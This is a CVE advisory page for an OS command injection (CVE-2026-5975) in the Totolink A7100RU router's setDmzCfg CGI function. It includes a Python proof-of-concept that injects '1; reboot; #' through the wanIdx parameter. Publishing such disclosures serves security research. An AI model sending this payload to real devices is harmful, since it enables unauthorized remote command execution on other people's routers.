CVE-2026-5975

Description

A vulnerability was identified in Totolink A7100RU 7.4cu.2313_b20191024. The impacted element is the function setDmzCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument wanIdx leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target IP)
target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi"

# Vulnerable payload: Injecting a command to reboot the device or create a file
# The 'wanIdx' parameter is the injection point
payload_data = {
    "function": "setDmzCfg",
    "wanIdx": "1; reboot; #"  # OS Command Injection Payload
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

try:
    # Sending the exploit request
    response = requests.post(target_url, data=payload_data, headers=headers, timeout=5)
    
    # Check response status
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Response:", response.text)
    else:
        print("[-] Failed to send payload. Status code:", response.status_code)
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5975
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5975
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5975/
[4] VulDB https://vuldb.com/cve/CVE-2026-5975
[5] https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_161/README.md
[6] https://vuldb.com/submit/791821
[7] https://vuldb.com/vuln/356529
[8] https://vuldb.com/vuln/356529/cti
[9] https://www.totolink.net/

Raw JSON Data

JSON

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